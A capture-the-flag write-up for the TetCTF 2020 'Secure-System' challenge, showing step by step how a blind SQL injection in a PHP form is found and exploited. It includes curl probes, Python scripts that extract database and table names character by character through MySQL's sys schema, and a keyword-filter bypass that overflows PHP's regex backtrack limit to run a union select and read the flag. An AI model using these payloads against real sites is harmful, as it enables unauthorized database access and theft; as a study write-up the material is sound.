Rating: 5.0

# Description:
Super tough & Great SQL Injection Challenge which i personally loved it as i learned a ton through this challenge. We have a form validating user id's and source code is given.

```php
fetch_assoc()['yyyyyyyyyyyyyyyyyyyy']; //Sorry It's our secret, can't share
?>





<center>
Security Check!!! Please enter your ID to prove who are you !!!:
<form action="index.php" method="POST">
<input name="id" value="" />

<input type="submit" value="Submit" />
</form>
</center>

fetch_assoc()['username'];
if($user!=='admin')
{
echo 'Hello '.htmlentities($user);
if($user==='admin')
{
echo 'This can\'t be =]] Just put here for fun lul';
die($flag);
}
}
}
}
?>
```
We could see hard stops blocking ``and|or|in|if|case|sleep|benchmark`` and more hard part is ``union select`` eggressive check.
It matches anything. ``Ex: union/*bla*/select``

We can also see there are loops which doesn't make sense. we can't get flag any way through id it seems. So we have to identify and exploit sql injection.

# Approach:
I started identifying injection as we don't see any prepared statement like ``select * from users where id=?``

As ``and, or`` are blocked i can use ``&&`` to check injection quickly.

```css
root@MrR3boot:~# curl -X POST http://45.77.240.178:8002/index.php -d "id=2 %26%26 1=2" 2>/dev/null | tail -1
Hello
root@MrR3boot:~# curl -X POST http://45.77.240.178:8002/index.php -d "id=2 %26%26 1=1" 2>/dev/null | tail -1
Hello guest
```

As ``order by`` blocked i can go ahead with ``group by`` or ``having`` to identify the number of columns that are selected in the query.

```css
root@MrR3boot:~# curl -X POST http://45.77.240.178:8002/index.php -d "id=2 group by 1" 2>/dev/null | tail -1
Hello guest
root@MrR3boot:~# curl -X POST http://45.77.240.178:8002/index.php -d "id=2 group by 3" 2>/dev/null | tail -1
Hello guest
root@MrR3boot:~# curl -X POST http://45.77.240.178:8002/index.php -d "id=2 group by 4" 2>/dev/null | tail -1

root@MrR3boot:~#
```

As you see we got 3 columns that are selected in the query. I tried long enough time to bypass the union select regex but i couldn't (but i did in the end) so i went identifying altenative ways like using ``exists``

```css
root@MrR3boot:~# curl -X POST http://45.77.240.178:8002/index.php -d "id=2 %26%26 exists(select database())" 2>/dev/null | tail -1
Hello guest
root@MrR3boot:~# curl -X POST http://45.77.240.178:8002/index.php -d "id=2 %26%26 length(database())<12" 2>/dev/null | tail -1
Hello guest
root@MrR3boot:~# curl -X POST http://45.77.240.178:8002/index.php -d "id=2 %26%26 length(database())<10" 2>/dev/null | tail -1
Hello
root@MrR3boot:~# curl -X POST http://45.77.240.178:8002/index.php -d "id=2 %26%26 length(database())=10" 2>/dev/null | tail -1
Hello guest
```
So quickly i was able to find the length of database which is ``10``. Then i started making a script to bruteforce char by char using ``substr`` function in mysql.

Another hurdle here is MySQL is case insensitive language and like operator also didn't check the casing. So if we don't identify table/database name properly including lower/upper case we can't pitch further into the challenge. One way we could check that is using ``BINARY`` but as its having ``IN`` we can't use it. other way is to use ``COLLATION`` again those have ``IN`` ex: latin we can't use them as well. I ended up eating lot of time searching for ways and useful functions in MySQL. Finally i could use ascii on both sides to convert them to decimal and then check properly.

Payload is as
``2 && ascii(substr(database(),{},10))=ascii("{}")``

```python
import requests
from string import printable

url='http://45.77.240.178:8002/index.php'

def dump_database():
j=1
result=''
while j<=10:
#length of database can be found using : 2 && length(database())<11
for i in printable:
if i!='%':
r = requests.post(url,headers={'Content-Type':'application/x-www-form-urlencoded'},data={'id':'2 && ascii(substr(database(),{},10))=ascii("{}")'.format(j,i)},proxies={'http':'http://127.0.0.1:8080'})
if 'guest' in r.text:
result=result+i
print '[+] Database Name : {}'.format(result)
break
j+=1

dump_database()
```

which shows result as
```css
root@MrR3boot:~# python do.py
[+] Database Name : o
[+] Database Name : ow
[+] Database Name : owl
[+] Database Name : owl_
[+] Database Name : owl_d
[+] Database Name : owl_do
[+] Database Name : owl_don
[+] Database Name : owl_donk
[+] Database Name : owl_donke
[+] Database Name : owl_donkey
```
Now we have database name and next step is to identify ``table names``. But HOW ?

We see ``in`` keyword blocked where we can't use ``information_schema|innodb``. After hours and hours of searching online we could read about ``sys`` database which comes with ``MySQL Community Edition``.

After digging around i've found this reference https://dev.mysql.com/doc/refman/8.0/en/sys-schema-object-index.html which states about which table does what. This helped a lot in identifying a table which has all table names indexed in it.

So i crafted a payload like ``2 && length((select table_name from sys.x$schema_table_statistics where table_schema=database() limit 0,1))=5`` to find the tablename length then found two responses for below requests.

```
POST /index.php HTTP/1.1
Host: 45.77.240.178:8002
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 119

id=2%26%26+length((select+table_name+from+sys.x$schema_table_statistics+where+table_schema%3ddatabase()+limit+0,1))+<+6

HTTP/1.1 200 OK
Date: Tue, 07 Jan 2020 20:15:39 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 250
Connection: close
Content-Type: text/html; charset=UTF-8





<center>
Security Check!!! Please enter your ID to prove who are you !!!:
<form action="index.php" method="POST">
<input name="id" value="" />

<input type="submit" value="Submit" />
</form>
</center>

Hello guest
```

same way we can find other table name lengths. I only found 2 tables of which ``5 & 25`` lengths. We can easily guess first table name as ``users`` which is of `5` char length.

```python
def dump_tablenames():
result=''
j=1
while j<=25:
for i in printable:
# length of table 1 is : 2 && length((select table_name from sys.x$schema_table_statistics where table_schema=database() limit 0,1))=5 we can guess its users
#second table length is : 2 && length((select table_name from sys.x$schema_table_statistics where table_schema=database() limit 1,1))=25
if i!='%':
r = requests.post(url,headers={'Content-Type':'application/x-www-form-urlencoded'},data={'id':'2 && ascii(substr((select table_name from sys.x$schema_table_statistics where table_schema=database() limit 1,1),{},25))=ascii("{}")'.format(j,i)})
if 'guest' in r.text:
result=result+i
print '[+] Table Name : {}'.format(result)
break
j+=1
```

which dumps the table names

```css
root@MrR3boot:~# python do.py
1. Dump Database Name
2. Find Table Names
> 2
[+] Table Name : T
[+] Table Name : Th
[+] Table Name : Th1
[+] Table Name : Th1z
[+] Table Name : Th1z_
[+] Table Name : Th1z_F
[+] Table Name : Th1z_Fa
[+] Table Name : Th1z_Fac
[+] Table Name : Th1z_Fack
[+] Table Name : Th1z_Fack1
[+] Table Name : Th1z_Fack1n
[+] Table Name : Th1z_Fack1n_
[+] Table Name : Th1z_Fack1n_F
[+] Table Name : Th1z_Fack1n_Fl
[+] Table Name : Th1z_Fack1n_Fl4
[+] Table Name : Th1z_Fack1n_Fl44
[+] Table Name : Th1z_Fack1n_Fl444
[+] Table Name : Th1z_Fack1n_Fl4444
[+] Table Name : Th1z_Fack1n_Fl4444g
[+] Table Name : Th1z_Fack1n_Fl4444g_
[+] Table Name : Th1z_Fack1n_Fl4444g_T
[+] Table Name : Th1z_Fack1n_Fl4444g_Ta
[+] Table Name : Th1z_Fack1n_Fl4444g_Tab
[+] Table Name : Th1z_Fack1n_Fl4444g_Tabl
[+] Table Name : Th1z_Fack1n_Fl4444g_Tabl3
```
Then i started looking for a way to dump the columns but i didn't find any way from mysql documentation. After some hours reading through bunch of docs i could see used queries are stored in sys.statement_analysis table from https://dev.mysql.com/doc/refman/8.0/en/sys-statement-analysis.html
But as we know how CTF stuff is 1000's of queries been sent to server and we can't blindly go for bruteforce on them. Then i stopped here knowing table name and couldn't progress further. After poking challenge author, he mentioned about PHP and Regex issue. Then after an hour or so i figured out https://bugs.php.net/bug.php?id=70699

If we cross the php pcre backtrace limit (1000000)(https://www.php.net/manual/en/pcre.configuration.php) we can defeat the preg_match step. I did same.

```css
root@MrR3boot:~# php -a
Interactive mode enabled

php > echo preg_match('/((A)+)/', str_repeat('A', 1363)) ? 1 : 0, PHP_EOL;
1
php > echo preg_match('/((A)+)/', str_repeat('A', 13631)) ? 1 : 0, PHP_EOL;
0
php > echo preg_match('/((A)+)/', str_repeat('A', 136311)) ? 1 : 0, PHP_EOL;
0
php >
```
This is how it is in action. Now using this behavior we can easily bypass union select regex check.

```python
def union_bypass():
payload = 'union/*'+'a'*1000000+'*/select 1,2,3-- -'
r = requests.post(url,headers={'Content-Type':'application/x-www-form-urlencoded'},data={'id':'-2 {}'.format(payload)},proxies={'http':'http://127.0.0.1:8080'})
print r.text
```
Output is
```html




<center>
Security Check!!! Please enter your ID to prove who are you !!!:
<form action="index.php" method="POST">
<input name="id" value="" />

<input type="submit" value="Submit" />
</form>
</center>

Hello 2
```

Now we can print flag without knowing column_name (That's the beauty if we have Union)

```python
def union_bypass():
#payload = 'union/*'+'a'*1000000+'*/select 1,2,3-- -'
payload='union/*'+'a'*1000000+'*/select 1,(select b from (select 1 as a, 2 as b union/*'+'a'*1000000+'*/select * from Th1z_Fack1n_Fl4444g_Tabl3) bbb limit 1,1),3-- -'
r = requests.post(url,headers={'Content-Type':'application/x-www-form-urlencoded'},data={'id':'-2 {}'.format(payload)},proxies={'http':'http://127.0.0.1:8080'})
print r.text
```

Outcome is

```css
root@MrR3boot:~# python do.py
1. Dump Database Name
2. Find Table Names
3. Union Bypass (PHP & RegEx Bug)
> 3





<center>
Security Check!!! Please enter your ID to prove who are you !!!:
<form action="index.php" method="POST">
<input name="id" value="" />

<input type="submit" value="Submit" />
</form>
</center>

Hello TetCTF{0wl_d0nkey_means_Liarrrrrrr}
```

Original writeup (https://github.com/MrR3boot/CTF/tree/master/TetCTF-2020/Secure-System).